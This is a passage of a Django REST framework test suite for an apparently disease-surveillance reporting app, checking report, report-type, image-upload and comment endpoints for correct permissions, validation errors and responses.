self.assertEqual(response_json['administrationAreaId'], ['You do not have permission to create this area.']) def test_cannot_post_api_report_if_administration_area_group_is_not_role_reporter(self): group_a = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_ADMINSTRATION_AREA) area = factory.create_administration_area() factory.create_group_administration_area(group=group_a, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }, "negative": True, "reportLocation": { "latitude": 13.8082770000000004, "longitude": 100.7522060000000010 } } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['administrationAreaId'], ['You do not have permission to create this area.']) def test_cannot_post_api_report_if_report_type_group_is_not_role_reporter(self): group_r = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_REPORT_TYPE) newtype = factory.create_report_type() factory.create_group_report_type(group=group_r, report_type=newtype) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": newtype.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }, "negative": True, "reportLocation": { "latitude": 13.8082770000000004, "longitude": 100.7522060000000010 } } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['reportTypeId'], ['You do not have permission to create this report type.']) ''' def test_post_api_report_on_area_that_child_of_permitted_administration_area(self): area = self.area.add_child(name='Namsan', location=self.area.location) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain", }, "negative": True } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) # response_json = json.loads(response.content) # self.assertTrue(response_json['id']) def test_post_api_report_on_area_that_child_of_permitted_administration_area_with_authority(self): area = self.area.add_child(name='Namsan', location=self.area.location) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain", }, "negative": True } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) ''' def test_staff_can_post_api_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain" }, "negative": True, } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) def test_report_guid_must_be_unique(self): report = factory.create_report() self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": 123, "guid": report.guid, "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }, "negative": True, } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['guid'], ['Report with this Guid already exists.']) def test_report_location_invalid(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportLocation": { "lat": 13.8082770000000004, "lng": 100.7522060000000010 } } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['reportLocation'], ['Invalid format.']) # INVALID LATITUDE params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportLocation": { "latitude": 13.8082770000000004, "longitude": 190.7522060000000010 } } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['reportLocation'], [u'Longitude must be in between -180 to 180 degree.']) # INVALID LONGITUDE params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportLocation": { "latitude": -91.8082770000000004, "longitude": 100.7522060000000010 } } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['reportLocation'], ['Latitude must be in between -90 to 90 degree.']) def test_post_api_report_invalid(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { 'negative': True } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], ['This field is required.']) def test_anonymous_cannot_access_api_report_create(self): response = self.client.post(reverse('report-list')) self.assertEqual(response.status_code, 401) class TestApiReport(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user(is_superuser=True, is_staff=True) self.krystal = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.krystal) self.type1 = factory.create_report_type(authority=self.authority) self.type2 = factory.create_report_type(authority=self.authority) self.area1 = factory.create_administration_area(authority=self.authority) self.area2 = factory.create_administration_area(authority=self.authority) self.report1 = factory.create_report(type=self.type1, administration_area=self.area1) self.report2 = factory.create_report(type=self.type2, administration_area=self.area2) def test_api_get_report(self): image = factory.create_report_image(report=self.report1) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-detail', args=[self.report1.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['id'], self.report1.id) self.assertEqual(response_json['reportId'], self.report1.report_id) self.assertEqual(response_json['guid'], self.report1.guid) self.assertEqual(response_json['reportTypeId'], self.report1.type.id) self.assertEqual(response_json['reportTypeName'], self.report1.type.name) self.assertEqual(response_json['date'], self.report1.date.isoformat() + '+00:00') self.assertEqual(response_json['incidentDate'], self.report1.incident_date.strftime('%Y-%m-%d')) self.assertEqual(response_json['administrationAreaId'], self.report1.administration_area.id) # self.assertEqual(response_json['remark'], self.report1.remark) self.assertEqual(response_json['negative'], self.report1.negative) self.assertEqual(response_json['formData'], json.loads(self.report1.form_data)) self.assertEqual(response_json['images'][0]['imageUrl'], image.image_url) self.assertEqual(response_json['images'][0]['thumbnailUrl'], image.thumbnail_url) self.assertEqual(response_json['images'][0]['note'], image.note) self.assertEqual(response_json['createdBy'], self.report1.created_by.get_full_name()) self.assertEqual(response_json['createdByContact'], self.report1.created_by.contact) def test_api_get_report_with_authority(self): image = factory.create_report_image(report=self.report1) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) response = self.client.get(reverse('report-detail', args=[self.report1.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['id'], self.report1.id) self.assertEqual(response_json['reportId'], self.report1.report_id) self.assertEqual(response_json['guid'], self.report1.guid) self.assertEqual(response_json['reportTypeId'], self.report1.type.id) self.assertEqual(response_json['reportTypeName'], self.report1.type.name) self.assertEqual(response_json['date'], self.report1.date.isoformat() + '+00:00') self.assertEqual(response_json['incidentDate'], self.report1.incident_date.strftime('%Y-%m-%d')) self.assertEqual(response_json['administrationAreaId'], self.report1.administration_area.id) # self.assertEqual(response_json['remark'], self.report1.remark) self.assertEqual(response_json['negative'], self.report1.negative) self.assertEqual(response_json['formData'], json.loads(self.report1.form_data)) self.assertEqual(response_json['images'][0]['imageUrl'], image.image_url) self.assertEqual(response_json['images'][0]['thumbnailUrl'], image.thumbnail_url) self.assertEqual(response_json['images'][0]['note'], image.note) self.assertEqual(response_json['createdBy'], self.report1.created_by.get_full_name()) self.assertEqual(response_json['createdByContact'], self.report1.created_by.contact) def test_cannot_get_api_get_report_if_user_dont_have_authorized_on_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('report-detail', args=[self.report1.id])) self.assertEqual(response.status_code, 403) ''' def test_api_get_report_that_area_is_child_of_permitted_administration_area(self): area = self.area1.add_child(name='Namsan', location=self.area1.location) report = factory.create_report(type=self.type1, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-detail', args=[report.id])) self.assertEqual(response.status_code, 403) response_json = json.loads(response.content) self.assertEqual(response_json['id'], report.id) def test_api_get_report_that_area_is_child_of_permitted_administration_area_with_authority(self): area = self.area1.add_child(name='Namsan', location=self.area1.location) report = factory.create_report(type=self.type1, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) response = self.client.get(reverse('report-detail', args=[report.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['id'], report.id) ''' def test_cannot_get_api_get_report_if_user_dont_have_authorized_on_adminstration_area(self): group_r = factory.add_user_to_new_group_type_report_type(user=self.jessica) factory.create_group_report_type(group=group_r, report_type=self.type1) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('report-detail', args=[self.report1.id])) self.assertEqual(response.status_code, 403) def test_cannot_get_api_get_report_that_administration_area_group_is_not_has_role_reporter(self): group_a = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_ADMINSTRATION_AREA) area = factory.create_administration_area() factory.create_group_administration_area(group=group_a, administration_area=area) report = factory.create_report(created_by=self.taeyeon, type=self.type1, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-detail', args=[report.id])) self.assertEqual(response.status_code, 403) def test_staff_can_get_api_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-detail', args=[self.report1.id])) self.assertEqual(response.status_code, 200) def test_cannot_get_api_get_report_if_not_exists(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-detail', args=[self.report1.id+1000000])) self.assertEqual(response.status_code, 404) def test_anonymous_cannot_access_api_get_report(self): response = self.client.get(reverse('report-detail', args=[self.report1.id])) self.assertEqual(response.status_code, 401) @patch('django_redis.get_redis_connection', mock_strict_redis_client) class TestApiReportTypeList(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0 ) call_command('clear_index', interactive=False, verbosity=0) call_command('clear_graph', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user() self.minah = factory.create_user(is_superuser=True, is_staff=True) self.krystal = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.krystal) self.authority_1 = factory.create_authority() self.authority_1.users.add(self.taeyeon) self.authority_2 = factory.create_authority() self.authority_2.users.add(self.jessica) self.type1 = factory.create_report_type(name='VX-2014', authority=self.authority) self.type2 = factory.create_report_type(name='Human', authority=self.authority) self.type3 = factory.create_report_type(name='Animal', authority=self.authority_2) self.authority_1.inherits.add(self.authority) self.authority_1.inherits.add(self.authority_2) def test_api_list_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reporttype-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 3) type1 = response_json[0] self.assertEqual(type1['id'], self.type1.id) self.assertEqual(type1['name'], self.type1.name) self.assertEqual(type1['version'], self.type1.version) self.assertFalse(type1.has_key('definition')) type2 = response_json[1] self.assertEqual(type2['id'], self.type2.id) self.assertEqual(type2['name'], self.type2.name) self.assertEqual(type2['version'], self.type2.version) type3 = response_json[2] self.assertEqual(type3['id'], self.type3.id) self.assertEqual(type3['name'], self.type3.name) self.assertEqual(type3['version'], self.type3.version) def test_api_list_report_type_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) response = self.client.get(reverse('reporttype-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) type1 = response_json[0] self.assertEqual(type1['id'], self.type1.id) self.assertEqual(type1['name'], self.type1.name) self.assertEqual(type1['version'], self.type1.version) self.assertFalse(type1.has_key('definition')) type2 = response_json[1] self.assertEqual(type2['id'], self.type2.id) self.assertEqual(type2['name'], self.type2.name) self.assertEqual(type2['version'], self.type2.version) def test_api_list_report_type_only_has_permission_on_those_report_types(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('reporttype-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 1) type1 = response_json[0] self.assertEqual(type1['id'], self.type3.id) self.assertEqual(type1['name'], self.type3.name) self.assertEqual(type1['version'], self.type3.version) def test_api_list_report_type_only_group_has_role_reporter(self): group_r = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_REPORT_TYPE) newtype = factory.create_report_type() factory.create_group_report_type(group=group_r, report_type=newtype) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reporttype-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 3) def test_api_list_report_type_return_empty_list_if_not_have_any_permission(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reporttype-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 0) def test_staff_can_get_all_api_list_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.minah.auth_token.key) response = self.client.get(reverse('reporttype-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 3) def test_anonymous_cannot_access_api_list_reports(self): response = self.client.get(reverse('reporttype-list')) self.assertEqual(response.status_code, 401) @patch('django_redis.get_redis_connection', mock_strict_redis_client) class TestApiReportType(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user(is_staff=True, is_superuser=True) self.krystal = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.krystal) self.type1 = factory.create_report_type(authority=self.authority) self.type2 = factory.create_report_type(authority=self.authority) def test_api_get_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reporttype-detail', args=[self.type1.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['id'], self.type1.id) self.assertEqual(response_json['name'], self.type1.name) self.assertEqual(response_json['version'], self.type1.version) self.assertEqual(response_json['template'], self.type1.template) self.assertEqual(response_json['definition'], json.loads(self.type1.form_definition)) def test_api_get_report_type_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) response = self.client.get(reverse('reporttype-detail', args=[self.type1.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['id'], self.type1.id) self.assertEqual(response_json['name'], self.type1.name) self.assertEqual(response_json['version'], self.type1.version) self.assertEqual(response_json['template'], self.type1.template) self.assertEqual(response_json['definition'], json.loads(self.type1.form_definition)) def test_cannot_get_api_get_report_type_if_user_dont_have_authorized(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('reporttype-detail', args=[self.type1.id])) self.assertEqual(response.status_code, 403) def test_cannot_get_api_get_report_type_if_group_is_not_has_role_reporter(self): group_r = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_REPORT_TYPE) newtype = factory.create_report_type() factory.create_group_report_type(group=group_r, report_type=newtype) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reporttype-detail', args=[newtype.id])) self.assertEqual(response.status_code, 403) def test_cannot_get_api_get_report_type_if_not_exists(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('reporttype-detail', args=[self.type1.id+100])) self.assertEqual(response.status_code, 404) def test_staff_can_get_api_get_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reporttype-detail', args=[self.type1.id])) self.assertEqual(response.status_code, 200) def test_anonymous_cannot_access_api_get_reports(self): response = self.client.get(reverse('reporttype-detail', args=[self.type1.id])) self.assertEqual(response.status_code, 401) class TestApiReportImageCreate(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.report = factory.create_report(created_by=self.taeyeon) def test_post_api_report_image(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) imageUrl = 'https://s3-ap-southeast-1.amazonaws.com/podd/fe97493f-fef7-4e8e-9b97-a179c43bd5fa' params = { "reportGuid": self.report.guid, "guid": "dfdfdf0003434300343", "imageUrl": imageUrl, "thumbnailUrl": imageUrl, "note": "fever", "location": 'POINT(100.7522060000000010 13.8082770000000004)' } response = self.client.post(reverse('add_report_image'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['guid'], 'dfdfdf0003434300343') self.assertEqual(response_json['imageUrl'], imageUrl) self.assertEqual(response_json['thumbnailUrl'], imageUrl) self.assertEqual(response_json['note'], 'fever') self.assertEqual(response_json['location']['latitude'], 13.8082770000000004) self.assertEqual(response_json['location']['longitude'], 100.7522060000000010) image = ReportImage.objects.latest('id') self.assertEqual(image.report, self.report) self.assertEqual(image.guid, 'dfdfdf0003434300343') self.assertEqual(image.image_url, imageUrl) self.assertEqual(image.thumbnail_url, imageUrl) self.assertEqual(image.note, 'fever') def test_post_api_report_image_invalid(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.post(reverse('add_report_image')) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['reportGuid'], 'Report is not found.') params = { "reportGuid": self.report.guid, } response = self.client.post(reverse('add_report_image'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['guid'], ['This field is required.']) self.assertEqual(response_json['imageUrl'], ['This field is required.']) self.assertEqual(response_json['thumbnailUrl'], ['This field is required.']) def test_anonymous_cannot_access_api_report_image_create(self): response = self.client.post(reverse('add_report_image')) self.assertEqual(response.status_code, 401) class TestApiReportImageUpload(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) self.taeyeon = factory.create_user() self.jessica = factory.create_user() # get_temporary_file() @patch('reports.api.upload_to_s3', mock_upload_to_s3) def test_post_image_upload(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) m = mock_open() with patch('__main__.open', m, create=True): send_file = open('/tmp/hello.world.jpg', 'r') params = { 'image': send_file, } content = encode_multipart('BoUnDaRyStRiNg', params) content_type = 'multipart/form-data; boundary=BoUnDaRyStRiNg' response = self.client.post(reverse('upload_report_image'), content, content_type=content_type) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['imageUrl'], 'hello.world.jpg') self.assertEqual(response_json['thumbnailUrl'], 'hello.world-thumbnail.jpg') def test_cannot_get_upload_report_image(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('upload_report_image')) self.assertEqual(response.status_code, 405) def test_anonymous_cannot_post_upload_report_image(self): response = self.client.post(reverse('upload_report_image')) self.assertEqual(response.status_code, 401) class TestApiReportComment(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user() self.krystal = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.krystal) self.type = factory.create_report_type(authority=self.authority) self.area = factory.create_administration_area(authority=self.authority) self.report = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=self.area) def test_post_api_report_comment_by_report_without_file(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "message": "Hello baby", } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello baby') self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') self.assertEqual(comment.file_url, None) self.assertEqual(comment.created_by, self.taeyeon) def test_post_api_report_comment_by_report_without_file_and_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "message": "Hello baby", } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello baby') self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') self.assertEqual(comment.file_url, None) self.assertEqual(comment.created_by, self.krystal) def test_post_api_report_comment_by_report_comment_without_file(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": self.report.id, "message": "Hello baby", } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello baby') self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') self.assertEqual(comment.file_url, None) self.assertEqual(comment.created_by, self.taeyeon) def test_post_api_report_comment_by_report_comment_without_file_and_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "reportId": self.report.id, "message": "Hello baby", } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello baby') self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') self.assertEqual(comment.file_url, None) self.assertEqual(comment.created_by, self.krystal) @patch('reports.api.upload_to_s3', mock_upload_to_s3) def test_post_api_report_comment_by_report_with_file(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) m = mock_open() with patch('__main__.open', m, create=True): send_file = open('/tmp/hello.world.jpg', 'r') params = { "message": "Hello baby", "file": send_file, } content = encode_multipart('BoUnDaRyStRiNg', params) content_type = 'multipart/form-data; boundary=BoUnDaRyStRiNg' response = self.client.post(reverse('report-comment', args=[self.report.id]), content, content_type=content_type) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello baby') self.assertEqual(response_json['fileUrl'], 'hello.world.jpg') comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') self.assertEqual(comment.file_url, 'hello.world.jpg') self.assertEqual(comment.created_by, self.taeyeon) @patch('reports.api.upload_to_s3', mock_upload_to_s3) def test_post_api_report_comment_by_report_with_file_and_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) m = mock_open() with patch('__main__.open', m, create=True): send_file = open('/tmp/hello.world.jpg', 'r') params = { "message": "Hello baby", "file": send_file, } content = encode_multipart('BoUnDaRyStRiNg', params) content_type = 'multipart/form-data; boundary=BoUnDaRyStRiNg' response = self.client.post(reverse('report-comment', args=[self.report.id]), content, content_type=content_type) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello baby') self.assertEqual(response_json['fileUrl'], 'hello.world.jpg') comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') self.assertEqual(comment.file_url, 'hello.world.jpg') self.assertEqual(comment.created_by, self.krystal) @patch('reports.api.upload_to_s3', mock_upload_to_s3) def test_post_api_report_comment_by_report_comment_with_file(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) m = mock_open() with patch('__main__.open', m, create=True): send_file = open('/tmp/hello.world.jpg', 'r') params = { "reportId": self.report.id, "message": "Hello baby", "file": send_file, } content = encode_multipart('BoUnDaRyStRiNg', params) content_type = 'multipart/form-data; boundary=BoUnDaRyStRiNg' response = self.client.post(reverse('reportcomment-list'), content, content_type=content_type) send_file.closed self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello baby') self.assertEqual(response_json['fileUrl'], 'hello.world.jpg') comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') self.assertEqual(comment.file_url, 'hello.world.jpg') self.assertEqual(comment.created_by, self.taeyeon) @patch('reports.api.upload_to_s3', mock_upload_to_s3) def test_post_api_report_comment_by_report_comment_with_file_and_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) m = mock_open() with patch('__main__.open', m, create=True): send_file = open('/tmp/hello.world.jpg', 'r') params = { "reportId": self.report.id, "message": "Hello baby", "file": send_file, } content = encode_multipart('BoUnDaRyStRiNg', params) content_type = 'multipart/form-data; boundary=BoUnDaRyStRiNg' response = self.client.post(reverse('reportcomment-list'), content, content_type=content_type) send_file.closed self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello baby') self.assertEqual(response_json['fileUrl'], 'hello.world.jpg') comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') self.assertEqual(comment.file_url, 'hello.world.jpg') self.assertEqual(comment.created_by, self.krystal) ''' @patch('reports.api.upload_to_s3', mock_upload_to_s3) def test_post_api_report_comment_by_report_with_large_file(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) m = mock_open() with patch('__main__.open', m, create=True): send_file = open('/tmp/hello_large.world', 'r') params = { "message": "Hello baby", "file": send_file, } content = encode_multipart('BoUnDaRyStRiNg', params) content_type = 'multipart/form-data; boundary=BoUnDaRyStRiNg' response = self.client.post(reverse('report-comment', args=[self.report.id]), content, content_type=content_type) self.assertEqual(response.status_code, 400) @patch('reports.api.upload_to_s3', mock_upload_to_s3) def test_post_api_report_comment_by_report_comment_with_large_file(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) m = mock_open() with patch('__main__.open', m, create=True): send_file = open('/tmp/hello_large.world', 'r') params = { "reportId": self.report.id, "message": "Hello baby", "file": send_file, } content = encode_multipart('BoUnDaRyStRiNg', params) content_type = 'multipart/form-data; boundary=BoUnDaRyStRiNg' response = self.client.post(reverse('reportcomment-list'), content, content_type=content_type) self.assertEqual(response.status_code, 400) ''' def test_post_api_report_comment_wih_user_cannot_access_by_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) params = { "message": "Hello baby", } response = self.client.post(reverse('report-comment', 